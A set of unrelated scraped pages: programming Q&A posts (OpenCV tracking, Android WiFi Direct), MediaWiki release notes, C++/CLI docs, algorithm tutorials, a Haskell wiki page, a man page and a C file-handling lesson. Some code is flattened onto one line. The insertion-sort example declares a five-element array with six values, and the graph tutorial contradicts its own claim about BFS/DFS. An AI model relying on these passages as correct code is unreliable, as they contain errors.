import cv2 import sys (major_ver, minor_ver, subminor_ver) = (cv2.__version__).split('.') if __name__ == '__main__' : # Set up tracker. # Instead of MIL, you can also use tracker_types = ['BOOSTING', 'MIL','KCF', 'TLD', 'MEDIANFLOW', 'GOTURN'] tracker_type = tracker_types[0] if int(minor_ver) < 3: tracker = cv2.Tracker_create(tracker_type) else: if tracker_type == 'BOOSTING': tracker = cv2.TrackerBoosting_create() if tracker_type == 'MIL': tracker = cv2.TrackerMIL_create() if tracker_type == 'KCF': tracker = cv2.TrackerKCF_create() if tracker_type == 'TLD': tracker = cv2.TrackerTLD_create() if tracker_type == 'MEDIANFLOW': tracker = cv2.TrackerMedianFlow_create() if tracker_type == 'GOTURN': tracker = cv2.TrackerGOTURN_create() # Read video video = cv2.VideoCapture("Track.mp4") # Exit if video not opened. if not video.isOpened(): print ("Could not open video") sys.exit() # Read first frame. ok, frame = video.read() if not ok: print ('Cannot read video file') sys.exit() # Define an initial bounding box bbox = (300, 300, 300, 300) # Uncomment the line below to select a different bounding box bbox = cv2.selectROI(frame, False) # Initialize tracker with first frame and bounding box ok = tracker.init(frame, bbox) while True: # Read a new frame ok, frame = video.read() if not ok: break # Start timer timer = cv2.getTickCount() # Update tracker ok, bbox = tracker.update(frame) # Calculate Frames per second (FPS) fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer); # Draw bounding box if ok: # Tracking success p1 = (int(bbox[0]), int(bbox[1])) p2 = (int(bbox[0] + bbox[2]), int(bbox[1] + bbox[3])) cv2.rectangle(frame, p1, p2, (255,0,0), 2, 1) else : # Tracking failure cv2.putText(frame, "Tracking failure detected", (100,80), cv2.FONT_HERSHEY_SIMPLEX, 0.75,(0,0,255),2) # Display tracker type on frame cv2.putText(frame, tracker_type + " Tracker", (100,20), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50,170,50),2); # Display FPS on frame cv2.putText(frame, "FPS : " + str(int(fps)), (100,50), cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50,170,50), 2); # Display result cv2.imshow("Tracking", cv2.resize(frame, (800,600))) # Exit if ESC pressed if cv2.waitKey(25) & 0xFF == ord('q'): cv2.destroyAllWindows() break
code 2 for Motion tracking:
import argparse import datetime import imutils import time import cv2 camera = cv2.VideoCapture("Ntest2.avi") # initialize the first frame in the video stream firstFrame = None # loop over the frames of the video while True: # grab the current frame and initialize the occupied/unoccupied # text (grabbed, frame) = camera.read() text = "Unoccupied" # if the frame could not be grabbed, then we have reached the end # of the video if not grabbed: break # resize the frame, convert it to grayscale, and blur it frame = imutils.resize(frame, width=500) gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) gray = cv2.GaussianBlur(gray, (21, 21), 0) # if the first frame is None, initialize it if firstFrame is None: firstFrame = gray continue # compute the absolute difference between the current frame and # first frame frameDelta = cv2.absdiff(firstFrame, gray) thresh = cv2.threshold(frameDelta, 25, 255, cv2.THRESH_BINARY)[1] # dilate the thresholded image to fill in holes, then find contours # on thresholded image thresh = cv2.dilate(thresh, None, iterations=2) _, cnts, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) # loop over the contours for c in cnts: # if the contour is too small, ignore it if cv2.contourArea(c) < 550: continue # compute the bounding box for the contour, draw it on the frame, # and update the text (x, y, w, h) = cv2.boundingRect(c) cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2) text = "Occupied" # draw the text and timestamp on the frame cv2.putText(frame, "Room Status: {}".format(text), (10, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2) cv2.putText(frame, datetime.datetime.now().strftime("%A %d %B %Y %I:%M:%S%p"), (10, frame.shape[0] - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (0, 0, 255), 1) # show the frame and record if the user presses a key cv2.imshow("Security Feed", frame) cv2.imshow("Thresh", thresh) cv2.imshow("Frame Delta", frameDelta) key = cv2.waitKey(1) & 0xFF # if the `q` key is pressed, break from the lop if key == ord("q"): break # cleanup the camera and close any open windows camera.release() cv2.destroyAllWindows()
The second one requires the first frame to be background only, which I believe is why it's performing bad because the dog is in the video since the first frame in the video I use.
Boosting and Mil achieve some tracking, but once the dog stands up against the wall, it loses track of it or the bounding box covers only part of the dog. Also, we need to specify the ROI ourselves while I would prefer a code with a preset rectangle box that surrounds the area of motion once it is detected. Something like in this video
I'm not very familiar with OPENCV, but I believe single motion tracking is not supposed to be an issue since a lot of work has been done already. Should I consider other libraries/APIs or is there a better code/tutorial I can follow to get this done? my point is to use this later with neural network (which is why I'm trying to solve it using python/opencv)
Thanks for any help/advice
- wifi p2p peers changed intent not triggered
I am working on a wifi p2p file sharing application. But I am not able to discover the peers
Below is the code for my activity
package com.neeraj8le.majorproject.activity; import android.content.BroadcastReceiver; import android.content.Context; import android.content.IntentFilter; import android.net.wifi.p2p.WifiP2pDevice; import android.net.wifi.p2p.WifiP2pDeviceList; import android.net.wifi.p2p.WifiP2pManager; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.widget.ArrayAdapter; import android.widget.ListView; import android.widget.Toast; import com.neeraj8le.majorproject.R; import com.neeraj8le.majorproject.WiFiDirectBroadcastReceiver; import java.util.ArrayList; import java.util.List; public class SelectPeerActivity extends AppCompatActivity{ WifiP2pManager mManager; WifiP2pManager.Channel mChannel; BroadcastReceiver mReceiver; IntentFilter mIntentFilter; ArrayAdapter<String> wifiP2pArrayAdapter; ListView listView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_select_peer); listView = findViewById(R.id.list_view); wifiP2pArrayAdapter = new ArrayAdapter<>(this, android.R.layout.simple_list_item_1); listView.setAdapter(wifiP2pArrayAdapter);); mManager = (WifiP2pManager) getSystemService(Context.WIFI_P2P_SERVICE); mChannel = mManager.initialize(this, getMainLooper(), null); mReceiver = new WiFiDirectBroadcastReceiver(mManager, mChannel, this); search(); } public void search() { mManager.discoverPeers(mChannel, new WifiP2pManager.ActionListener() { @Override public void onSuccess() { Toast.makeText(SelectPeerActivity.this, "SUCCESS", Toast.LENGTH_SHORT).show(); } @Override public void onFailure(int reasonCode) { Toast.makeText(SelectPeerActivity.this, "FAILURE", Toast.LENGTH_SHORT).show(); } }); } public void displayPeers(WifiP2pDeviceList peerList) { wifiP2pArrayAdapter.clear(); for(WifiP2pDevice peer : peerList.getDeviceList()) wifiP2pArrayAdapter.add(peer.deviceName + "\n" + peer.deviceAddress); } /*); } }
And here is the code for my broadcastreceiver
package com.neeraj8le.majorproject; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.net.NetworkInfo; import android.net.wifi.p2p.WifiP2pConfig; import android.net.wifi.p2p.WifiP2pDevice; import android.net.wifi.p2p.WifiP2pDeviceList; import android.net.wifi.p2p.WifiP2pManager; import android.util.Log; import android.widget.Toast; import com.neeraj8le.majorproject.activity.SelectPeerActivity; import java.util.ArrayList; import java.util.List; public class WiFiDirectBroadcastReceiver extends BroadcastReceiver { private static final String TAG = ":::::::::::::::::::::"; private WifiP2pManager mManager; private WifiP2pManager.Channel mChannel; private SelectPeerActivity mActivity; List<WifiP2pDevice> mPeers; List<WifiP2pConfig> mConfigs; public WiFiDirectBroadcastReceiver(WifiP2pManager manager, WifiP2pManager.Channel channel, SelectPeer int state = intent.getIntExtra(WifiP2pManager.EXTRA_WIFI_STATE, -1); if (state == WifiP2pManager.WIFI_P2P_STATE_ENABLED) { Toast.makeText(mActivity, "Wifi Direct Enabled", Toast.LENGTH_SHORT).show(); // Wifi P2P is enabled } else { Toast.makeText(mActivity, "Wifi Direct Disabled", Toast.LENGTH_SHORT).show(); // Wi-Fi P2P is not enabled } } else if (WifiP2pManager.WIFI_P2P_PEERS_CHANGED_ACTION.equals(action)) { // Call WifiP2pManager.requestPeers() to get a list of current peers // request available peers from the wifi p2p manager. This is an // asynchronous call and the calling activity is notified with a // callback on PeerListListener.onPeersAvailable() mPeers = new ArrayList<>(); mConfigs = new ArrayList<>(); if (mManager != null) { mManager.requestPeers(mChannel, new WifiP2pManager.PeerListListener() { @Override public void onPeersAvailable(WifiP2pDeviceList peerList) { mPeers.clear(); mPeers.addAll(peerList.getDeviceList()); mActivity.displayPeers(peerList); for (int i = 0; i < peerList.getDeviceList().size(); i++) { WifiP2pConfig config = new WifiP2pConfig(); config.deviceAddress = mPeers.get(i).deviceAddress; mConfigs.add(config); } } }); } if (mPeers.size() == 0) { Log.d("::::::::::::::::::::::", "No devices found"); return; } } else if (WifiP2pManager.WIFI_P2P_CONNECTION_CHANGED_ACTION.equals(action)) { Log.d(TAG, "wifi p2p connection changed action"); NetworkInfo networkInfo = intent.getParcelableExtra(WifiP2pManager.EXTRA_NETWORK_INFO); Log.d(TAG,"network info available"); // Respond to new connection or disconnections } else if (WifiP2pManager.WIFI_P2P_THIS_DEVICE_CHANGED_ACTION.equals(action)) { // Respond to this device's wifi state Log.d(TAG, "wifi p2p this device changed action"); // notifyDeviceUpdate(); WifiP2pDevice thisDevice = intent.getParcelableExtra(WifiP2pManager.EXTRA_WIFI_P2P_DEVICE); Log.d(TAG,"this device acquired"); } } }
I have gotten most of the code from here
I debugged the app and all 3 intent filters were triggered except for
WIFI_P2P_PEERS_CHANGED_ACTION
I tried keeping another android device near my phone to see if it detects peers and one time id did trigger the WIFI_P2P_PEERS_CHANGED_ACTION intent.. but then it said that the peerlist size is 0 and hence I am unable to find peer.
Any help with the issue is greatly appreciated.
- P2P Battleship Project Java
I am learning java by myself and I wanted to create a java Battleship clone in multiplayer. I don't know how to do it.
Firstly, should I create a single app that become a server if no other socket is opened or should I create a server app and a client app that connects to the server?
And secondly, can I use a mobile hotspot or a pc hotspot and have different clients with differents computers communicating with the server or with the other clients? How to setup this in my program?
Thank you for helping me!
- Alternative to discovering peers with Wifi Direct as it requires both phones running WiFi Direct discovery
I am trying to discover WiFi Direct peer to peer android devices but peers are discovered only when both phones are running WiFi Direct discovery.
What I have Understood so far is, they will see each other only when they are both scanning for WiFi direct connections at the same time. This is because the way WiFi Direct works is that when phones are scanning for WiFi Direct connections, they will negotiate with the other peers for the role of Access Point or Slave device. Hence both need to call discoverPeers() to become discoverable themselves and find nearby devices.
What I want in my application is that only one device starts the scanning process and all nearby devices supporting wifi direct should be listed. So how can this be achieved using wifi Direct? Are there any other alternatives to this.
Thanks in Advance
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http://quabr.com/48215836/how-to-control-an-ip-camera-from-my-android-studio-app
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CC-MAIN-2018-05
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refinedweb
| 2,808
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Please note that MediaWiki's SourceForge project has been inactive since 2007, as we've moved our development to our own hosting.
See for all current MediaWiki downloads.
February 20, 2007
MediaWiki 1.9.3 is a security and bug-fix update to the Winter 2007
quarterly release. Minor compatibility fixes for IIS and PostgreSQL are
included.:... read more
January 24, 2007
This is a bug-fix update that fixes some installation and upgrade issues
with the original 1.9.0 release.
* (bug 3000) Fall back to SCRIPT_NAME plus QUERY_STRING when REQUEST_URI
is not available, as on IIS with PHP-CGI
* Security fix for DjVu images. (Only affects servers where .djvu file
uploads are enabled and $wgDjvuToXML is set.)
* (bug 8638) Fix update from 1.4 and earlier
* (bug 8641) Fix order of updates to ipblocks table for updates from <=1.7
* (bug 8673) Minor fix for web service API content-type header
* Fix API revision list on PHP 5.2.1; bad reference assignment
* Fixed up the AjaxSearch
* Exclude settings files when generating documentation. That could
expose the database user and password to remote users.
* ar: fix the 'create a new page' on search page when no exact match found
* Correct tooltip accesskey hint for Opera on the Macintosh (uses
Shift-Esc-, not Ctrl-).
* (bug 8719) Firefox release notes lie! Fix tooltips for Firefox 2 on
x11; accesskeys default settings appear to be same as Windows.... read more
This is the quarterly release snapshot for Winter 2007. While the code has been running on Wikipedia for some time, installation and upgrade bits may be less well tested. Bug fix releases may follow in the coming days or weeks.... read more
MediaWiki 1.8.2 fixes several issues in the Fall 2006 snapshot release:
* (bug 7565) Fixed typos in German localisation
* (bug 7562) Fix non-ASCII namespaces on Windows/XAMPP servers
This is the quarterly release snapshot for Fall 2006. While the code has been running on Wikipedia for some time, installation and upgrade bits may be less well tested. Bug fix releases may follow in the coming days or weeks. script has been fixed.... read more.... read more
A buggy bug fix was rolled back from 1.6.4.
Full release notes:
Download:
MediaWiki 1.6.4 is a maintenance bug fix release, which rolls up some fixes to additional minor problems and localization updates to the Spring 2006 quarterly snapshot.
Full release notes:
Download:
MediaWiki 1.6.3 makes some additional fixes to the spring 2006 release branch.
Full release notes:
Download:
MediaWiki 1.6.2 makes some additional fixes to the spring 2006 release branch:
*... read more
Some minor issues in the 1.6.0 release have been corrected.
Full release notes:
Download:.... read more
MediaWiki 1.5.8 and 1.4.15 are security and bugfix maintenance releases.
A bug in decoding of certain encoded links could allow injection of raw HTML into page output; this could potentially lead to XSS attacks.. ... read more
MediaWiki 1.5.6 and 1.4.14 are security and bugfix maintenance releases.
A bug in edit comment formatting could send PHP into an infinite loop if certain malformed links were included. In most installations, this would cause the script to fail after PHP's 30-second failsafe timeout.
Release notes:
1.5.6:
1.4.14:... read more
MediaWiki 1.5.5 and 1.4.13 are a security and bugfix maintenance releases..... read more
MediaWiki 1.5.4 is a bugfix and security update. This release fixes some potential JavaScript injections on Internet Explorer, and corrects clearing of the "new messages" flag for some users with e-mail notification enabled.
New MediaWiki releases fix problems with PHP 4.4.1.
1.5.2 also fixes some issues with MySQL 5.0, PHP 5.0.5, and PHP 5.1.0RC.
1.4.12 and 1.3.18 include additional fixes to protected against an Internet Explorer JavaScript injection flaw. (An equivalent fix was already in 1.5.1.)
MediaWiki 1.5.1 is a bugfix and security maintenance release, and is a recommended upgrade for all installations.
Major fixes include:
* More XSS fixes for Internet Explorer CSS+JavaScript injection
* Image pages work again with resizing disabled
* Works in MySQL 5.0 strict mode
* Experimental support for MySQL 4.1/5.0 UTF-8 charset declaration
The new stable release of MediaWiki is 1.5.0, featuring a new more efficient database schema, better upload handling, and many exciting features.
Release notes:
Download:
MD5 checksum:
mediawiki-1.5.0.tar.gz b431e82ee5fd0d619d17cb2d417387c3
Security updates have been released as MediaWiki 1.4.11 and 1.3.17. This release prevents exploitation of unsafe CSS handling in Microsoft Internet Explorer for possible cross-site-scripting attacks.
Anyone running older versions of 1.4 and 1.3 MediaWiki should be sure to upgrade -- there's a data corruption bug in older versions (fixed in 1.4.10/1.3.16) which is triggered by a spambot known to be active in the wild.
MediaWiki is the collaborative editing software that runs Wikipedia, the free encyclopedia, and other projects. It's designed to handle a large number of users and pages without imposing too rigid a structure or workflow.... read more
|
http://sourceforge.net/p/wikipedia/news/
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CC-MAIN-2014-42
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refinedweb
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Starting with XLL+ 6.0.4, .NET integration is fully supported for XLL+ add-ins authored in Visual Studio 2005, Visual Studio 2008 and Visual Studio 2010.
Users of Visual Studio 2005 should check the technical note .NET requirements to make sure that your development and runtime environments are properly configured.
XLL+ (6.2 and above) includes a set of tools to import a .NET assembly into an add-in. Point the tools at your assembly, and they will generate wrapper functions for you, with little or no assistance from you. See the topic Importing .NET Assemblies for full details.
If you want to write an add-in primarily in C++, but use some .NET code, then continue with this topic.
There are three .NET integration samples in the toolkit:
If you want to use the Common Language Runtime in your add-in, you must select the CLR option in the AppWizard when you create your project.
The effects of setting this option are:
/clris applied to C++ source files of your project.
xlpclrconvert.his included in your main cpp source file, and the namespace
ple::clris included by default.
As a result, you are able to use CLR classes and methods from within your XLL. This includes the members of the standard .NET libraries, and any of your own .NET assemblies.
Your code can call .NET methods, create .NET objects and do anything that any CLR-compliant langauge can do.
The notation for calling .NET from C++ is discussed in detail in the Visual Studio help. There are many new language features in C++/CLI, but only a few of them are used in this discussion. The following language features are important when using managed classes from C++:
Do not use a pointer to a managed object, such as
System::Object* obj. Instead, you should use a handle,
expressed as
System::Object^ obj.
System::String^ str = number.ToString();
You can use the
-> operator to access
the properties and methods of the object pointed to by the handle:
System::String^ str = "Quick brown fox"; int len = str->Length;
When you create an instance of a managed class, you should use gcnew instead of new.
System::Object^ obj = gcnew System::Object();
Common Language Runtime arrays are represented using the array template. The second parameter is the rank of the array; if omitted, it is assumed to be 1 - i.e. a vector.
// Create a 2-dimensional array of numbers array<double, 2>^ a = gcnew array<double, 2>>(rows, columns); // Create a vector of string handles array<System::String^>^ b = gcnew array<System::String^>(count);
Items within the array can be read or written using indexing, e.g.:
double d = a[1, 2]; b[3] = "Hello";
Generally, you should use
safe_cast<T, S>(S s)
to cast a managed object
s
of type
S to type
T. If the cast fails, an
exception of type
InvalidCastException will be thrown.
Many Excel object model properties return an untyped result, which needs to be cast to a useful type. Use safe_cast for this purpose.
_Application^ theApp; _Worksheet^ ws = safe_cast<_Worksheet^>(theApp->ActiveSheet);
Next: Converting to and from .NET types >>
|
https://planatechsolutions.com/xllplus7-online/start_clr1.htm
|
CC-MAIN-2021-43
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refinedweb
| 525
| 66.13
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Given a graph, a source vertex in the graph and a number k, find if there is a simple path (without any cycle) starting from given source and ending at any other vertex..
We strongly recommend you to minimize your browser and try this yourself first.
One important thing to note is, simply doing BFS or DFS and picking the longest edge at every step would work. The reason is, a shorter edge can produce longer path due to higher weight edges connected through it.
The idea is to use Backtracking. We start from given source, explore all paths from current vertex. We keep track of current distance from source. If distance becomes more than k, we return true. If a path doesn’t produces more than k distance, we backtrack.
How do we make sure that the path is simple and we don’t loop in a cycle? The idea is to keep track of current path vertices in an array. Whenever we add a vertex to path, we check if it already exists or not in current path. If it exists, we ignore the edge.
Below is C++ implementation of above idea.
// Program to find if there is a simple path with // weight more than k #include<bits/stdc++.h> using namespace std; // iPair ==> Integer Pair typedef pair<int, int> iPair; // This class represents a dipathted graph using // adjacency list representation class Graph { int V; // No. of vertices // In a weighted graph, we need to store vertex // and weight pair for every edge list< pair<int, int> > *adj; bool pathMoreThanKUtil(int src, int k, vector<bool> &path); public: Graph(int V); // Constructor // function to add an edge to graph void addEdge(int u, int v, int w); bool pathMoreThanK(int src, int k); }; // Returns true if graph has path more than k length bool Graph::pathMoreThanK(int src, int k) { // Create a path array with nothing included // in path vector<bool> path(V, false); // Add source vertex to path path[src] = 1; return pathMoreThanKUtil(src, k, path); } // Prints shortest paths from src to all other vertices bool Graph::pathMoreThanKUtil(int src, int k, vector<bool> &path) { // If k is 0 or negative, return true; if (k <= 0) return true; // Get all adjacent vertices of source vertex src and // recursively explore all paths from src. list<iPair>::iterator i; for (i = adj[src].begin(); i != adj[src].end(); ++i) { // Get adjacent vertex and weight of edge int v = (*i).first; int w = (*i).second; // If vertex v is already there in path, then // there is a cycle (we ignore this edge) if (path[v] == true) continue; // If weight of is more than k, return true if (w >= k) return true; // Else add this vertex to pathursion call stack path[v] = true; // If this adjacent can provide a path longer // than k, return true. if (pathMoreThanKUtil(v, k-w, path)) return true; // Backtrack path[v] = false; } // If no adjacent could produce longer path, return // false return false; } // Allocates memory for adjacency list Graph::Graph(int V) { this->V = V; adj = new list<iPair> [V]; } // Utility function to an edge (u, v) of weight w void Graph::addEdge(int u, int v, int w) { adj[u].push_back(make_pair(v, w)); adj[v].push_back(make_pair(u, w)); } //); int src = 0; int k = 62; g.pathMoreThanK(src, k)? cout << "Yes/n" : cout << "No/n"; k = 60; g.pathMoreThanK(src, k)? cout << "Yes/n" : cout << "No/n"; return 0; }
Output:
No Yes
Exercise:
Modify the above solution to find weight of longest path from a given source.
This article is contributed by Shivam Gupta . » Find if there is a path of more than k length from a source
评论 抢沙发
|
http://www.shellsec.com/news/15782.html
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CC-MAIN-2018-09
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refinedweb
| 616
| 68.1
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MonadCont done right
From HaskellWiki
The Cont class MonadCont defined in the monad template library could be improved if you are willing to use rank two polymorphism.Notice the change in the signature of
. This allows one to use the passed continuation in different situations inside a
callCC
block. However, you will have to provide an explicit signature for the function you are calling
callCC
with.
callCC
1 Possible Implementation
newtype Cont r a = Cont { runCont :: ((a -> r) -> r) } -- r is the final result type of the whole computation class (Monad m) => MonadCont m where callCC :: ((a -> (forall b. m b)) -> m a) -> m a instance Monad (Cont r) where return a = Cont (\k -> k a) -- i.e. return a = \k -> k a (Cont c) >>= f = Cont (\k -> c (\a -> runCont (f a) k)) -- i.e. c >>= f = \k -> c (\a -> f a k) instance MonadCont (Cont r) where callCC f = Cont (\k -> runCont (f (\a -> Cont (\_ -> k a))) k)
2 Alternative Implementation
This implementation has the advantage that it provides a polymorphic version of {{{callCC}}} for all instances of MonadCont from {{{Control.Monad.Cont}}}. I also added {{{shift}}} and {{{reset}}} functions for using ComposableContinuations.
{-# OPTIONS -fglasgow-exts -fno-warn-unused-binds -cpp #-} module ContExts ( callCC', shift, reset, shiftT, resetT, ) where import Control.Monad.Cont -- Cont' m a is the type of a continuation expecting an a within the -- continuation monad Cont m type Cont' m a = forall r. a -> m r callCC' :: forall a m. MonadCont m => (Cont' m a -> m a) -> m a #if __GLASGOW_HASKELL__ > 602 callCC' f = callCC f' where #else callCC' (f :: ((a -> (forall b. m b)) -> m a) ) = callCC f' where #endif f' :: (a -> m (EmptyMonad m)) -> m a f' g = f g' where g' :: a -> m b g' = (=<<) runEmptyMonad . g -- ghc doesn't allow something like m (forall c. m c) newtype EmptyMonad m = EmptyMonad { runEmptyMonad :: forall c. m c } -- shift/reset for the Cont monad shift :: ((a -> Cont s r) -> Cont r r) -> Cont r a shift e = Cont $ \k -> e (return . k) `runCont` id reset :: Cont a a -> Cont r a reset e = return $ e `runCont` id -- shiftT/resetT for the ContT monad transformer shiftT :: Monad m => ((a -> ContT r m s) -> ContT s m s) -> ContT s m a shiftT e = ContT $ \k -> e (lift . k) `runContT` return resetT :: Monad m => ContT a m a -> ContT r m a resetT e = lift $ e `runContT` return
All of this is presumably meant to be under the MIT license, since it wants to be in the library. --SamB 22:44, 30 October 2006 (UTC)
[Category:Monad]
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http://www.haskell.org/haskellwiki/index.php?title=MonadCont_done_right&oldid=7640
|
CC-MAIN-2013-20
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refinedweb
| 434
| 58.72
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Section (3) sigqueue
Name
sigqueue — queue a signal and data to a process
Synopsis
#include <signal.h>, −1 is returned and
errno is set to indicate the
error.
ERRORS
- EAGAIN
The limit of signals which may be queued has been reached. (See signal(7) for further information.)
- EINVAL
sigwas invalid.
- EPERM
The process does not have permission to send the signal to the receiving process. For the required permissions, see kill(2).
- ESRCH
No process has a PID matching
pid.
ATTRIBUTES
For an explanation of the terms used in this section, see attributes(7)._zsingle_quotesz_s signal handler
or returned by the receiving process_zsingle_quotesz)
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https://manpages.net/detail.php?name=sigqueue
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I am trying to use python for the repetitive task of selecting only certain vertices to form a face.
Given is an mesh-object that consists of vertices only and does not have edges or faces. Now its about selecting a certain area and filling it. (Due to the structure of the points the area within each circle_select will always contain 4 values.)
Here my code:
Code: Select all
import bpy #select object as active and change toggle to editmode bpy.context.scene.objects.active = bpy.data.objects['mymesh'] bpy.ops.object.mode_set(mode='EDIT') #(working) # deselect all bpy.ops.mesh.select_all(action='DESELECT') #(working) # change to top view bpy.ops.view3d.viewnumpad(type='TOP') #(not working. Console says poll() [..] context incorrect...) # circle select (C) with radius 1 around coordinates(x,y) and make face bpy.ops.mask.select_circle.func(x=1,y=1,radius=1) bpy.ops.mask.edge_face_add() #(not working. Console says poll() [..] wrong context...)
The documentation on the commands has a lot of details and stuff but I could not find the slightest hint on how to get the command to actually work (not meant to be ungrateful or anything). At least it doesnt add up to me why there are codes like pby[..]select_circle.func() provided, if they don't actually work when applied as stated. I didn't find the missing link in this..
Help is very much appreciated, thank you for your answers.
Have a nice day
PS. Point Cloud to Mesh plugin isnt helping in this case, not even by filling all spaces and then deleting those which are not supposed to be filled, etc etc.
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https://www.blender.org/forum/viewtopic.php?p=106725
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Consider you have 10 cards out of a deck of cards in your hand. And they are sorted, or arranged in the ascending order of their numbers.
If I give you another card, and ask you to insert the card in just the right position, so that the cards in your hand are still sorted. What will you do?
Well, you will have to go through each card from the starting or the back and find the right position for the new card, comparing it's value with each card. Once you find the right position, you will insert the card there.
Similarly, if more new cards are provided to you, you can easily repeat the same process and insert the new cards and keep the cards sorted too.
This is exactly how insertion sort works. It starts from the index
1(not
0), and each index starting from index
1 is like a new card, that you have to place at the right position in the sorted subarray on the left.
Following are some of the important characteristics of Insertion Sort:
Following are the steps involved in insertion sort:
1, the
key. The
keyelement here is the new card that we need to add to our existing sorted set of cards(remember the example with cards above).
keyelement with the element(s) before it, in this case, element at index
0:
keyelement is less than the first element, we insert the
keyelement before the first element.
keyelement is greater than the first element, then we insert it after the first element.
keyand will compare it with elements to it's left and insert it at the right position.
Let's consider an array with values
{5, 1, 6, 2, 4, 3}
Below, we have a pictorial representation of how bubble sort will sort the given array.
As you can see in the diagram above, after picking a
key, we start iterating over the elements to the left of the
key.
We continue to move towards left if the elements are greater than the
key element and stop when we find the element which is less than the
key element.
And, insert the
key element after the element which is less than the
key element.
Below we have a simple implementation of Insertion sort in C++ language.
#include <stdlib.h> #include <iostream> using namespace std; //member functions declaration void insertionSort(int arr[], int length); void printArray(int array[], int size); // main function int main() { int array[5] = {5, 1, 6, 2, 4, 3}; // calling insertion sort function to sort the array insertionSort(array, 6); return 0; } void insertionSort(int arr[], int length) { int i, j, key; for (i = 1; i < length; i++) { j = i; while (j > 0 && arr[j - 1] > arr[j]) { key = arr[j]; arr[j] = arr[j - 1]; arr[j - 1] = key; j--; } } cout << "Sorted Array: "; // print the sorted array printArray(arr, length); } // function to print the given array void printArray(int array[], int size) { int j; for (j = 0; j < size; j++) { cout <<" "<< array[j]; } cout << endl; }
Sorted Array: 1 2 3 4 5 6
Now let's try to understand the above simple insertion sort algorithm.
We took an array with 6 integers. We took a variable
key, in which we put each element of the array, during each pass, starting from the second element, that is
a[1].
Then using the
while loop, we iterate, until
j becomes equal to zero or we find an element which is greater than
key, and then we insert the
key at that position.
We keep on doing this, until
j becomes equal to zero, or we encounter an element which is smaller than the
key, and then we stop. The current
key is now at the right position.
We then make the next element as
key and then repeat the same process.
In the above array, first we pick 1 as
key, we compare it with 5(element before 1), 1 is smaller than 5, we insert 1 before 5. Then we pick 6 as
key, and compare it with 5 and 1, no shifting in position this time. Then 2 becomes the
key and is compared with 6 and 5, and then 2 is inserted after 1. And this goes on until the complete array gets sorted.
As we mentioned above that insertion sort is an efficient sorting algorithm, as it does not run on preset conditions using
for loops, but instead it uses one
while loop, which avoids extra steps once the array gets sorted..
Worst Case Time Complexity [ Big-O ]: O(n2)
Best Case Time Complexity [Big-omega]: O(n)
Average Time Complexity [Big-theta]: O(n2)
Space Complexity: O(1)
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https://www.studytonight.com/data-structures/insertion-sorting
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A text file contains only textual information like alphabets, digits and special symbols. In actuality the ASCII codes of these characters are stored in text files. A good example of a text file is any C program, say textfile1.txt.
As against this, a binary file is merely a collection of bytes. This collection might be a compiled version of a C program (say textfile1.exe), or music data stored in a wave file or a picture stored in a graphic file. A very easy way to find out whether a file is a text file or a binary file is to open that file in Turbo C/C++. If on opening the file you can make out what is displayed then it is a text file, otherwise it is a binary file.
As mentioned while explaining the file-copy program, the program cannot copy binary files successfully. We can improve the same program to make it capable of copying text as well as binary files as shown below.
#include "stdio.h" int main() { FILE *fs, *ft; int ch; fs = fopen("pr1.exe", "rb"); if (fs == NULL) { puts("Cannot open source file"); exit(0); } ft = fopen("newpr1.exe", "wb"); if (ft == NULL) { puts("Cannot open target file"); fclose(fs); exit(0); } while (1) { ch = fgetc(fs); if (ch == EOF) break; else fputc(ch, ft); } fclose(fs); fclose(ft); getchar(); return 0; }
Using this program we can comfortably copy text as well as binary files. Note that here we have opened the source and target files in “rb” and “wb” modes respectively. While opening the file in text mode we can use either “r” or “rt”, but since text mode is the default mode we usually drop the ‘t’.
From the programming angle there are three main areas where text and binary mode files are different. These are:
(a) Handling of newlines
(b) Representation of end of file
(c) Storage of numbers
Let us explore these three differences.
Text versus Binary Mode: Newlines
We have already seen that,.
Text versus Binary Mode: End of File
The second difference between text and binary modes is in the way the end-of-file is detected. In text mode, a special character, whose ASCII value is 26, is inserted after the last character in the file to mark the end of file. If this character is detected at any point in the file, the read function would return the EOF signal to the program.
As against this, there is no such special character present in the binary mode files to mark the end of file. The binary mode files keep track of the end of file from the number of characters present in the directory entry of the file.
There is a moral to be derived from the end of file marker of text mode files. If a file stores numbers in binary mode, it is important that binary mode only be used for reading the numbers back, since one of the numbers we store might well be the number 26 (hexadecimal 1A). If this number is detected while we are reading the file by opening it in text mode, reading would be terminated prematurely at that point.
Thus the two modes are not compatible. See to it that the file that has been written in text mode is read back only in text mode. Similarly, the file that has been written in binary mode must be read back only in binary mode.
Text versus Binary Mode: Storage of Numbers
The only function that is available for storing numbers in a disk file is the fprintf( ) function. It is important to understand how numerical data is stored on the disk by fprintf( ). Text and characters are stored one character per byte, as we would expect. Are numbers stored as they are in memory, two bytes for an integer, four bytes for a float, and so on? No.
Numbers are stored as strings of characters. Thus, 1234, even though it occupies two bytes in memory, when transferred to the disk using fprintf( ), would occupy four bytes, one byte per character. Similarly, the floating-point number 1234.56 would occupy 7 bytes on disk. Thus, numbers with more digits would require more disk space.
Hence if large amount of numerical data is to be stored in a disk file, using text mode may turn out to be inefficient. The solution is to open the file in binary mode and use those functions (fread( ) and fwrite( ) which are discussed later) which store the numbers in binary format. It means each number would occupy same number of bytes on disk as it occupies in memory.
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http://www.loopandbreak.com/text-files-and-binary-files/
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In this tutorial, we'll develop a Backbone.js application, while testing it with Jasmine. Not good enough for you? We'll do it all using CoffeeScript. Trifecta!
We're going to work on the application in isolation - using a static, serverless environment. This has multiple advantages:
- Testing and running code is extremely fast.
- Decoupling our Backbone application from the server side makes it just another client. We could build a mobile application, for example, that would consume the same API.
Our test application will be a simple website where we can manage a database containing nothing more than restaurants.
Starting Boilerplate
To start, we need to move a few pieces into place. Simply download this tarball that contains:
- Backbone.js, version 0.9.2
- Jasmine version 1.2.0
